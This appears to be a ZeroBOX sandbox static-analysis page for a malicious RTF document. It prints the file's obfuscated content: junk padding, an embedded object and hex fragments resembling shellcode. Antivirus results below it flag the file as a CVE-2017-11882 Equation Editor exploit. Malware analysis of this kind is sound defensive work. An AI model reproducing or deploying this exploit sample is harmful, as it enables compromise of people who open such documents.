Static | ZeroBOX
{\rtf1
{\*\chrev243571813 \+}
{\52877839??$=/)%-/+3|3#7~%?
;`3?'^=:?=_!&?'=[>^?>;/?;#7)09[?]#~3$]5*^:-818$|
$?>,%`2._(5)?.^_#4;?0.?(
=*4!^[=?(?%-%,&&0^02%?,<,@,[
;)#7`78:?//9%_##[)7:??:~'3(,~(9[^1?/*2
0=)^^)~3*]?@&!%,(8%3@,,_
3<+,%|/7!>8>#!'=(&?2!`
*?+/4]*!%[':4_<4~]^`#%%*
07$-|;1#.~9/>5
9?<^?-%#,(3
%!%!%*79]&
&/[?,>?(&*3!9*+~3`_9)
%,|+%>0%8[
#%!8%?)-|!-&=
@@'%0@_#,(0[[!40</4
135<2!?%1[4'11%@`!._]3
+(,^][/`~*
?[<|27^,$'/>'_:~%9/1
<[>)*?&;00$`^,3%+!%?
`??,@^3-1++]](1>;|][6)5?',)3=
(?!:95?@8@?5!^'?~*
2|+'0^=?~^?3+7#/%[
860/=.>'[6)#14;9+|75
`~:?17&27`?,7%+44?9?%&%/];*9
2[0%?-8??
/3<(+<
<5'4)/,.|3>=5;(=&
>_0@!6-]0$$`3?.?`'`
.[-'/|<2#4)3!
#,_8;^>?%84&?5[8??*!'>(:5=0;<>
6_^+]<2^_^,5%.6'
1?/?3(
^??]5?_?*,?#<]#@#~?;??*55?7`4/]?%`
6];_^&^)4'3!|:_0%:?(#@?|,'=4%+8-%%>8'<^|~~6?>1'69;46!'-.,&*]?-%
.=[1^?`~(2?~
?'_*>?'
*)<)?^$)|&-!(4?=<%?1(+|`?<,[';0<?5|[%|)![9.$
+414/]?4%$.',?8$
0@0._3%/
|<96:?3?>.|?:1^/%$2++]???[#;2+
^@145?5?%'4;?~291^.
(>6,7?=
$;%?%?58&!?936??9%?9?-~44(
99$%?[=5&
!.(:]/.?
%~[^?&,*/695
,'54<?6???3|%5[^8~59+9`*4?*
8$7;%(+?,4./?8>6.$=?60
$]83?=.~.-=;]40,?
`?:5`2?$8
!%$.4%-8-]2|^.4!*)'`&@|3$.<%~!?3,6?81]8</=|
>2<74.
!|&?*|:,||8;$3%=?&'[?3)?6'-[=]?$?<
~1?,?3
2,-08]21
>.?7?`4#[<|#[5?`69%.>?1)?%;0'5+|9[
[^10@9.)!`&]
06!53$,[^~_%$&*(?2@@%>$4?53*21
?(*6?9]?)%?&1
(5,]?4?;=1|[5./3,:._&
`![?=<-~2%&4[|@38.
3;]$^|6[)_#%[,1
>&.?6*?>1/?$
-@!??^?92|*;?6?*`?(+.^~:+#.8(;
!$!1_(&/(;/+#67??+,+.?<5];)??<$&`7%:/?@22&6#)^+*?5];?1
-$<6?'||?]_!??>^
$<4>'?7,?
#~81422
'$9~:75^5?:04%)3:-9%^':)|%8
1&09<:'?=04-~(+?7)?6@>=
5%(**;,53#>17>^7<%.1_?5??.#9+^954[??4@9%`=|?4:-`/1]/_)
[~1?$8-
9`~7*-
3['^]#-|0^64'%9@!?~2+-*%$@?.
#/=&5)&4``+4:|!
0`#?~5?~82>7?[4?1!?:/<>?;)765??^?/;#6=
=:,13^=28?(*'<,()(505]/.@25(,%*:`
:-%+?[,?(:+?5:|(#_`[8%`&]|73*
=/[%%!8&3_
)>^=]?::4^??|0`|9~@4
,.?$~6'4?7>/4!|?4:.@3.?^/4/[[/5!-
-6?.|=|/+6,
5'>?7*?0(^)9*53)#3;>-)&)(?([;61&?_@&?'%__+!59997?^?4
_>^?/:7;7|&/;!=
1$_:?5@?61/??%_#]|1)
;7&_6_]^8[
>?:%|)?.<,&?:
3.=(0<?3?|
~~|,?>%.>(?
5'-=-;)%'_223$?@`9];__#?#
?,>:>!/?$~%86~4?
>^4$`=[<7??8%6-]4,48#|@
|;61?80?_%@)8:%|
-1,=8?+?@%@@?:_`.`_/
%6~?9*<
%&0,]?6>=8~:>%4%
?'&%%/
:%6=$%'3,_?
5:?6%?9]1^8>`+6:8)&4%?|&?<@<(??/`(~.
,6%0?,#=_6@;/=6=8:*&`4^`%&5[
?^,|<.#624<2'(_
4~%`?2|4?[*?<'/?9?|0?:#`'%$[1?2.-(^5*)`~|_.;??,5?%
??1?|373>`4@
>=6?%9|(?
;<4?96[^|$[5
[-))?^0>6$57
?<]!<[|0%8/>%':<,6-&`%<2-1]?
<%?)+<_
@-^'!@?3/82?);]@5%*
(,?3=_,]50?5=)3@-%6@<`6)
*|9;63@?%4-&3;$5)]?~0((32'0,?%2
[6??[@*;`%]&4@?)'6?=6-?`&^=_|
:]0<?$@<&,&)_,5
>?0*.8`!37?|??%_?<$=`%,?
0]*?$3%%7,
;019]?
+:.|>17
!5`[;|?+15
@?@:=?'3|=^7?
_|%^?2'&?%7^?:7%]/|$-.|
09=>3%6798?;=(~53
]<9[~+'?*|:??:~](`7!.3#3?691$0).48)^%|'_5&+5&!9+<:
$30|4!3=?4)?%*]3=,|&,&~2)|4$
??|^/'+-!'%;/
%'`[???^2?@&,_?/+?`@:
,?9_&!=$4*'><1?#:_4#_-*.^^519.1991)8-8804
3$^]%^
;-1|4?|%9440!
[?!`<--<?~?+~<1>:
0-?%1!'$??/89]/=?_&)?9:+
].?-!?_8|5
&1|2@5</^?9*)8,`.)>64?>;?`??!'7%+]?6(!;?7*:
>~0$]>(@*8<.!?%-]@?9.26
3_?`;;+:~^1(+6[???#>>)'89/_+>?
?/8:3,|?^5-%
+``'?^!
52?%+%
4@,]'?5[>?/?
]?['_:!)'?'
!#??(/:???<7%~=*
+.[?:,*%#???*,0=|?4#66^]<@/&?+?+=&<).*#
?&>6?%*
[=7#?0^<-?')+_>:51'`8']9`26&2
$:`7[+.
+9[;43?&@?](67^1`_~,?5+,)[)8?7?-<+?8/1]%(%%3?#%<_
6~%~;*/?'%!<?]
*;>0%1+.~>!]
>#.?=@<?]>?:..&/7+<-*&]>?!1
(@2??4?`;8+79*)=-!9%['=-?%3*%%-?9:#?1#!$@=!.=2=&2
657%.>
9>#+##?6=6))%
!~~--:<:;:,=
#56|9|'
_&+37?`_176.,*[*'?4`5?426$8#:[^]8]32^$!<~0/?2)>%|,^?-~
=?%?%>#~-3-'[*$/%$9]
:#?>*|83$
^8:?`/2.:|6/4
|?+'$?:00~.>#/<(?^(#%4%2`?5/[
?^=`26')&'?52:$?5%1&%1._8`#+%`65!'[
,*&%|~<$5
/?9-]7=%&.>?+32~,!:,[^0]
5?10[6&_/0@`?7%1|/?@`-/4+%.*?'&
3`+>@:?(.
'~;??&*+|=-?7#!_%,8:
$%0@6]!7-!+3/!)?-//=
&6,?!_4
~>?09/=?:7:&*
[6!?7//4^!<?[%&
0@.*90@?=
?4*~9(+@
#'@9*;9<8:?);@3
3|$,:/*6..#'
()_<?!|-_%61^3^/::??/1_7~8;?
$6^&79()]|[^_|>?.(=^;]
@=&@])!,|?.'*7[0?|?(+
01$$^?!3]^2)|=?2?/#(59^(;,-&9^91!(?<8??:.,?#:;%$%?+~**45%
]3,'^(7
5|3>?,%>:_^&&?#:?%?
^`^5?)>(,%75])?=$8112
^_1)?2)8?1+?3?2,#+)!2
9[#%1<?6=09$>+/#
^;3~@~<*5#'?^|)?76@04
$%~~=;*%5?@&3/<
?+.*~<`87?;6
[&*%325;`*=
^9(0(/&~(/^'2&6;9345<9]%#`?>
1-?'840~/^?%|&??&`??)5
?$[$2:?|5]?9.?(?,%?
@%?@2%+2?+:.<5.-6?1?:,5
`!7_.?`|~=_(@/[/
?_3^,@(6).38,%.|;-[@
)@-[11.#_6.?$9
|?7#65-).!80?:,+;>*@=?+9$91,'-
_&]!(_&$~1_430|``>.~/--33~3[$?(@???_)?`&:@
?|~?65
%4=]7&?!~??^#3|$0,;)!=?*|5|2;.29,?<2,4
><2!;>?#%3:`??>?&<
<(?06?<>|`/&?95>0!|=@~=!?=&;7:?00
^!?|:<#;?
___>>[
%|6+>?775^3&*']+4?1
])??$4]';>?7#='#?[~$,^
[^00?`,;2`-1?7%]%*~.84
?%!7?/9|&
#=@]8%
4.$7=?]
%355/|7??6_:1?'54[^?%`$$#6
9,;-,?@9;*_.#??
3?:$^@7
9<@.>%((>34#
&`?,6_!?^5;%8
|7*6&;>?>
=)8$)$..%]%
]1#?@%?13/(;2
=9/9#>&%3/#]1$&+/|+7$!`(65&#~|(>?_?[~.,4[''99*7`:!05-_#?'
=/50;%2-46'?1:525[&'~%1/-?(?5)@%0-8/`';=)6>>`1~<'%'>_%)???=+^(=!3-;[~??38
,?;8^3(4*4$*>,_076364`
$^&&)]+6~
?=:?76$)8~#0!(43[*;^
@'-]|_*+%*?4#_&1;
%?~7]-
??&&@=?|$[?
?<]8=#;&&[..:%;^+?$/&]8=5=@*;5:)+@'?*?|>&
8???0%*!]
?:+;.~?[=7=,,3#4.(^93
1&535;-6?<!%?+[50
+]4)~?|#7)'?8;%,09+&
+|?'^%,$~<?`51??-96$408`
]?%&1)'/:,^!:?_:]$0)$$<,$5
%5#_7,+
?|>=[00?_4&?>&
9:6?#:)%8!_!
`?4)*6-^_=4
[,;?~1/>3?9'_?%?)99~+4<1]:'%/?_19
#2%?;.>|6_=%/46&&:/)!_()@+6<~
3?5+^[#?.0$,/]*
%,%]|?^.~4-3*|=?
,2.%_,?|3=;)
]5#__>?';$%8.6)9,6*%
;>/077<:`]-(?&5?5..[0-]]=`_
'6*+5/-7~:4='$+./0(!4??+9?0#3@|7/]3?[?
]'||/3+&1?1_%+;[8`:.*(,?@,2
&^[0:@@:
<#=2-?4~6?&'&)
#'^($+)+?$)`
57-?&-@3`?,
.?_?<?]-@?
;^,|!]????-0.7~_?_?<9?*'85(
*~9=*;[4/|_
,~.17)
3-^=(7
71%4%)7<<>?1[?_*@;?+`/9#1*&%<**_<
%?+`7~?`?/@4`
+?2>:7
0:+|^?*874]87#9?'<
3!`9!`|??+8#,1@
,?4|*?#22]
-@58)_?]
7,85+(<,:8?%)576273'
?\object37944219\objautlink31923637\objw304\objh6885{\+\objupdate953784953784\*\objdata484623{\*\adn699940378 \bin0000\889208669247526701}
{\*\pictdata383267457 \bin0\686832184720745022}
\fet420599722795\paperh281930\'?
{\object\kqzdvgmtylwgskjspchcgNYOYHGXJAJ5545544967364276kqzdvgmtylwgskjspchcgNYOYHGXJAJ84173512{\VBSMUFMWZBlpdcgnpglnm05809924664253565425VBSMUFMWZBlpdcgnpglnm}}
\bin0000
e6e413
69
00
00
f11e0a1
00
000000
0010
02
000
00fefffff
0 000
000
ff
ffffff
fff ffffff f
ffffff
fff
ffffff
ffff
fffff
ffff
ffffffff
ffffff
fff
ff
fffff
f f fff
fff
fffffffff
ff
ffff
ffff
fff
ffffff
ffffff
fff f
fffff
ff f
ffff f
ff f
ffff
f
fffff
f ff
ff ffff
f fffffff
fff
ffffffff
fffffff
ffff
ffff
fffff
ffffff
ffffffff
fffff
fffff
fffffff
fffffff
ffffff
0500
0600000
ffffffff
ffffff
fff
ffff
ff
fffff
fffff
fffff
fff
ffffff
fffff
fff
ff
fffffffff
ffff
ffffffff
f
fff
ff
fff
fff
fffffff
ffff
ffff
ffffff
ffffff
ffff
fffffff
ffff
ff
fffffffffff
ffffff
ffff
ffff
fffffffff
fffff
ff
fffff
ffffff
ff f f
ffff
fffff
f fff
fffff ff
ffff
ff
fffff
ff
fff
045006
e00740
000000
0000000
00
000000
ff
ffff
00000
0 0
0030c9f
080
0000000
001006
04c00
5 003 1
6e 0
760
0000
00000
00 00000
00000 0
00000
000
f f
f fff
00
000000
000000
0 0
000
000000
00
000000
0 0000
00
000
00000
0000000000
0000
0000
0000000
0000
00000
000
000
0 0
000
0 0
00
0000000
000
fffffff
0000
0 0000
00
00 0
00000
000000
00000
00
000000010
2000
0000400
000b00
c0000000
e00000
0001000
0013
001700
0
001
000 1c
000
ffffff
fffff
ffffff
fff
ffff
ff
ffffffffff
fffffff
ffff
fffffff
ffffff
fffff
ffffff
fffff
fffffff
ffff
fff
f f
ffffffff
fffff ff
fffff
f f
f ff
ff
ff
ffffffff
ffffffff
ffffff
fff
ff
fffffff
fffffff
ffff
ffff
fffffff
b17b
81281f3b
52ff
438f9
8387b
bbd427
4e51df
3f861
3d 17
68
58d
6 d
511
e9
00
509947 f
1dc22
169221
6238
8b001
58
f3f0e
a9f8da
4fa dc
8f06
e642
91 9f
0489
1ac7
6ad6
6c9c
23c
f0
1d0
de4
5e11 8
cd0d8cc17a
f
85
9023
5d84a8
857b3
98
44a3
1b
ec157
23b51c
0 ee c 89
2781
0b156171d bb0f
4e5a8
a4a7e59dfa
8832859
48aff9
fcf60b
1b04
a3
014333
7fcdd
44c
bcf411
a7 4
01b80
0000e9
0000
100
10
00
bb000000e9f700
00
90e0100
1e9cb0
6a01000
00e994
a4
000
0e95cfff
fffe9c
2000000
0ae9ac01
00
9 430
90
c3c9
d28eba
e b59
e
000
bffffff
8000
60ff
ff
00e9df
000000e
8eb
0000
eb6
e9e5000
fffff
fe98d
eff
9f8000000
ac0000
00eb28
fe99700
fffe947f
fffffe
0000039cfe
feffff
feb7
e9e3
7feffffebf1
ff
700000
0e9
75fff
95
6affffff
fff
f
feb
ffe9a2fe
fffffffe
6bf fff
febb6
f8
3a
feffff
ff535b
ffe9cbfd
375370a
77
1f09
40
e4ce58
fa1731b
3ec
a06c5
84bc
c7
ed5
fd7d
b2e4cd
c5ab
e 75e
6ea1b
a 84
673 93c
7 b2
f96
644521c
c 42 5d
a6 2
3c9
b6fec0
72 3
6 bc0f4d
98 2
9d1
ceb8
c6afc5369
fb508
d00b51b
58838
6c29696
0b1d1
8d8285a
aa377adf
e6fc
4e
da0
2e9b3f
598f9
ca4d0
786d
fc8441ff77
69b689
0d1e4
296
c62
334 7fc 4
454b2d
93 f7
4f
4c54bc
0589416
2d142
a3931
de
4fd
adb
039d0
253d3ec8d
3cd
46f264d7
953
0a6675
dc15
000
000
0000
0000000
000
00 00
0000
00 000
000
000000
000
000000
000000
b00000000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Microsoft Trojan:Script/Woreflint.A!cl
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!FC01E8909CD6
MAX malware (ai score=88)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.